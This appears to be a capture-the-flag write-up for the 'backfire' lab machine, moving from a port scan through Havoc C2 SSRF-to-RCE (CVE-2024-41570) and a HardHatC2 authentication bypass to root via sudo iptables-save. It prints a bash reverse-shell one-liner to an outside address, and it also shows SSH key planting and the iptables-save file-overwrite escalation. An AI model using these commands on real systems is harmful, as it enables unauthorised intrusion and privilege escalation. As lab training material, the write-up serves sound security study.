Just some 0xW1LD stuff...
by 0xW1LD
As usual, start with a port scan, revealing this information:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
| ssh-hostkey:
| 256 7d:6b:ba:b6:25:48:77:ac:3a:a2:ef:ae:f5:1d:98:c4 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJuxaL9aCVxiQGLRxQPezW3dkgouskvb/BcBJR16VYjHElq7F8C2ByzUTNr0OMeiwft8X5vJaD9GBqoEul4D1QE=
| 256 be:f3:27:9e:c6:d6:29:27:7b:98:18:91:4e:97:25:99 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA2oT7Hn4aUiSdg4vO9rJIbVSVKcOVKozd838ZStpwj8
443/tcp open ssl/http syn-ack nginx 1.22.1
|_http-title: 404 Not Found
|_http-server-header: nginx/1.22.1
| tls-alpn:
| http/1.1
| http/1.0
|_ http/0.9
| ssl-cert: Subject: commonName=127.0.0.1/organizationName=DEBUG CO/stateOrProvinceName=California/countryName=US/localityName=San Diego/postalCode=3369/streetAddress=
| Subject Alternative Name: IP Address:127.0.0.1
| Issuer: commonName=127.0.0.1/organizationName=DEBUG CO/stateOrProvinceName=California/countryName=US/localityName=San Diego/postalCode=3369/streetAddress=
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-17T17:45:29
| Not valid after: 2027-08-17T17:45:29
| MD5: 192f:dccd:4214:036f:9e59:7c11:7253:c3d3
| SHA-1: c7e1:db02:78e0:5030:4269:81bc:bdf8:4118:863e:7dbf
| -----BEGIN CERTIFICATE-----
| MIID6zCCAtOgAwIBAgIRANIPjZSIY+IOs1V6fWS76ccwDQYJKoZIhvcNAQELBQAw
| dzELMAkGA1UEBhMCVVMxEzARBgNVBAgTCkNhbGlmb3JuaWExEjAQBgNVBAcTCVNh
| biBEaWVnbzEJMAcGA1UECRMAMQ0wCwYDVQQREwQzMzY5MREwDwYDVQQKEwhERUJV
| RyBDTzESMBAGA1UEAxMJMTI3LjAuMC4xMB4XDTI0MDgxNzE3NDUyOVoXDTI3MDgx
| NzE3NDUyOVowdzELMAkGA1UEBhMCVVMxEzARBgNVBAgTCkNhbGlmb3JuaWExEjAQ
| BgNVBAcTCVNhbiBEaWVnbzEJMAcGA1UECRMAMQ0wCwYDVQQREwQzMzY5MREwDwYD
| VQQKEwhERUJVRyBDTzESMBAGA1UEAxMJMTI3LjAuMC4xMIIBIjANBgkqhkiG9w0B
| AQEFAAOCAQ8AMIIBCgKCAQEAv9CKPm97LghhgD8GNVnL3WpMvFmJjL0lQdRyRwFe
| vwGUZqzejKymZguLA/g4OCnE3M5bpSfVT7by5OqnJx3PgZ2PwO2We3mUWQHNj1Wh
| 6XH5gk+auAPjNQxOb34Ohlag4a5yFRJ6/DPy+wVkRBhZip0wc7oC4Xz2/m6nk0Ei
| E0g+QfoEEvyCY2EQBTk1giAkL7SJG2zGhBtihvCa/Ti9Oqq9cD9UI3kQrMtygtfF
| PFbvtTFSGCS+Vs/R8YQyBlIbHVfCV8MEUOYBjHnuKJIrK6R1/m/eB2vWXQV6r1Sf
| gkQMGkQ2bqyU6JWhI15s5eaXEGgaylQku8CXZ0+bhIpk6QIDAQABo3IwcDAOBgNV
| HQ8BAf8EBAMCAqQwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMA8GA1Ud
| EwEB/wQFMAMBAf8wHQYDVR0OBBYEFBSk/eEmbUV0Hg08vCKcMuXxHoDHMA8GA1Ud
| EQQIMAaHBH8AAAEwDQYJKoZIhvcNAQELBQADggEBAD2auQlrEmYTzwEHrUbNCylM
| E0sWu4R48JFT7bOJG2pCCjs1EwCJsZAxma2jUAOrfk4uyM1GtkbpgCHiLlD6YnIj
| entWh6ega+4hFRZ8nE7Z7bniTuD3VexrVRrBk6xtfa1F+uG3UG/HFOMWorJd6B+u
| CkqSTkABk+z6RWFGPT0mrTFVfuChi0nDTNL2cBz5qbFsLvAZR/MweQaNjn65YEJ1
| IJHfc79fItN61T6OYA/pqU1SbnRcvxd1Vj6T5bqGplL9pMtJPISqg1PphmfK4YtL
| bQWscvsM3tgG+Y40PbTKFRUJ8dZbxk2oQ1CWtTsm7RrhI5EYdnLeM7ttD9BHJGs=
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
8000/tcp open http syn-ack nginx 1.22.1
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Index of /
| http-ls: Volume /
| SIZE TIME FILENAME
| 1559 17-Dec-2024 11:31 disable_tls.patch
| 875 17-Dec-2024 11:34 havoc.yaotl
|_
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 23:30
Completed NSE at 23:30, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 23:30
Completed NSE at 23:30, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 23:30
Completed NSE at 23:30, 0.00s elapsed
Read data files from: /nix/store/2g83ish1i382wzig78pnlrh4377p1rbf-nmap-7.95/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.55 seconds
Http server running on 8000 is running a file server, presumably from an attacker who forgot to turn it off
we can find the following files inside:
disable_tls.patch
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
Disable TLS for Websocket management port 40056, so I can prove that
sergej is not doing any work
Management port only allows local connections (we use ssh forwarding) so
this will not compromize our teamserver
diff --git a/client/src/Havoc/Connector.cc b/client/src/Havoc/Connector.cc
index abdf1b5..6be76fb 100644
--- a/client/src/Havoc/Connector.cc
+++ b/client/src/Havoc/Connector.cc
@@ -8,12 +8,11 @@ Connector::Connector( Util::ConnectionInfo* ConnectionInfo )
{
Teamserver = ConnectionInfo;
Socket = new QWebSocket();
- auto Server = "wss://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/";
+ auto Server = "ws://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/";
auto SslConf = Socket->sslConfiguration();
/* ignore annoying SSL errors */
SslConf.setPeerVerifyMode( QSslSocket::VerifyNone );
- Socket->setSslConfiguration( SslConf );
Socket->ignoreSslErrors();
QObject::connect( Socket, &QWebSocket::binaryMessageReceived, this, [&]( const QByteArray& Message )
diff --git a/teamserver/cmd/server/teamserver.go b/teamserver/cmd/server/teamserver.go
index 9d1c21f..59d350d 100644
--- a/teamserver/cmd/server/teamserver.go
+++ b/teamserver/cmd/server/teamserver.go
@@ -151,7 +151,7 @@ func (t *Teamserver) Start() {
}
// start the teamserver
- if err = t.Server.Engine.RunTLS(Host+":"+Port, certPath, keyPath); err != nil {
+ if err = t.Server.Engine.Run(Host+":"+Port); err != nil {
logger.Error("Failed to start websocket: " + err.Error())
}
havoc.yaotl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
Teamserver {
Host = "127.0.0.1"
Port = 40056
Build {
Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc"
Compiler86 = "data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc"
Nasm = "/usr/bin/nasm"
}
}
Operators {
user "ilya" {
Password = "[REDACTED]"
}
user "sergej" {
Password = "[REDACTED]"
}
}
Demon {
Sleep = 2
Jitter = 15
TrustXForwardedFor = false
Injection {
Spawn64 = "C:\\Windows\\System32\\notepad.exe"
Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
}
}
Listeners {
Http {
Name = "Demon Listener"
Hosts = [
"backfire.htb"
]
HostBind = "127.0.0.1"
PortBind = 8443
PortConn = 8443
HostRotation = "round-robin"
Secure = true
}
}
These indicate that Havoc C2
is running on the box
The following CVE: CVE-2024-41570
revealed this PoC:
HavocC2 SSRF PoC
from this blog post: Unauthenticated SSRF on Havoc C2 teamserver via spoofed demon agent
based on information in the files we find out that the teamserver running on 127.0.0.1:40056
Let’s run the provided PoC:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
python3 ssrf.py -t https://backfire.htb -p 40056 -i 127.0.0.1
[***] Trying to register agent...
[***] Success!
[***] Trying to open socket on the teamserver...
[***] Success!
[***] Trying to write to the socket
[***] Success!
[***] Trying to poll teamserver for socket output...
[***] Read socket output successfully!
HTTP/1.1 307 Temporary Redirect
Location: /havoc
Date: Sun, 19 Jan 2025 06:57:32 GMT
Content-Length: 0
Connection: close
Seeing as we received a redirect I can confirm SSRF!
however this alone is not particularly useful, looking around more we can find this:
The above code requires a websocket connection to Havoc C2 and so we must pass the payload through the ssrf via websockets upgrade and alter the PoC.
After a couple weeks of the box’s release someone else released a significantly better PoC: Havoc C2 SSRF to RCE
Running this PoC using the credentials found in the file we get a shell as ilya!
The shell closes after a while so I create an ssh public key on my local machine:
1
ssh-keygen -t rsa
and then copy id_rsa.pub
to authorized_keys
I am then able to ssh into the box as ilya
1
ssh ilya@backfire.htb
It seems Ilya talks about sergej
and HardHatC2
in hardhat.txt
1
2
Sergej said he installed HardHatC2 for testing and not made any changes to the defaults
I hope he prefers Havoc bcoz I don't wanna learn another C2 framework, also Go > C#
checking running processes we see user sergej
is running HardHatC2
1
2
3
4
5
ps aux
sergej 5284 2.2 6.1 274254688 243900 ? Ssl 20:50 0:04 /home/sergej/.dotnet/dotnet run --project TeamServer --configuration Release
sergej 5312 1.0 3.1 274204408 123880 ? Sl 20:50 0:02 /home/sergej/HardHatC2/TeamServer/bin/Release/net7.0/TeamServer
sergej 5361 5.2 6.2 274271460 249388 ? Ssl 20:51 0:05 /home/sergej/.dotnet/dotnet run --project HardHatC2Client --configuration Release
sergej 5393 1.6 3.4 274203928 136728 ? Sl 20:51 0:01 /home/sergej/HardHatC2/HardHatC2Client/bin/Release/net7.0/HardHatC2Client
checking running ports we see: 7096
and 5000
open, the default ports for hardhat:
1
2
3
4
5
6
7
8
9
10
ss -tulnp
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 512 0.0.0.0:5000 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:443 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8443 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:8000 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:40056 0.0.0.0:*
tcp LISTEN 0 128 [::]:22 [::]:*
portforwarding these ports via ssh:
1
ssh ilya@backfire.htb -L 7096:127.0.0.1:7096 -L 5000:127.0.0.1:5000
visiting https://127.0.0.1:7069
we see:
looking around for vulnerabilities found this blogpost:
HardHatC2 0 day RCE authentication bypass
We can use the PoC provided in the above blog to create a user.
After adding a user, we can login and visit: /ImplantInteract
in which we can interact with a shell by going to the terminal tab and clicking the +
icon on the top right:
typing in a command to get a reverse shell:
1
bash -c 'bash -i >& /dev/tcp/10.10.14.158/9001 0>&1'
we get a shell as sergej
Alternatively copying our id_rsa.pub
into /home/sergej/.ssh/authorized_keys
allows us to ssh into the box as sergej.
Checking for privileges we found that Sergej can run iptables
and iptables-save
as root:
1
2
3
4
5
6
7
8
9
sudo -l
Matching Defaults entries for sergej on backfire:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User sergej may run the following commands on backfire:
(root) NOPASSWD: /usr/sbin/iptables
(root) NOPASSWD: /usr/sbin/iptables-save
looking around for privilege escalation using iptables
and iptables-save
I found this:
A journey from sudo iptables to local privilege escalation
Following along we are able to create a malicious ip-tables record however I am unable to write to /etc/passwd
as is suggested in the blogpost:
1
2
sudo iptables-save -f /etc/passwd
Failed to open file, error: Operation not permitted
so instead I try to inject my public key into /root/.ssh/authorized_keys
which allows us to ssh into the box:
1
2
root@backfire:~# whoami
root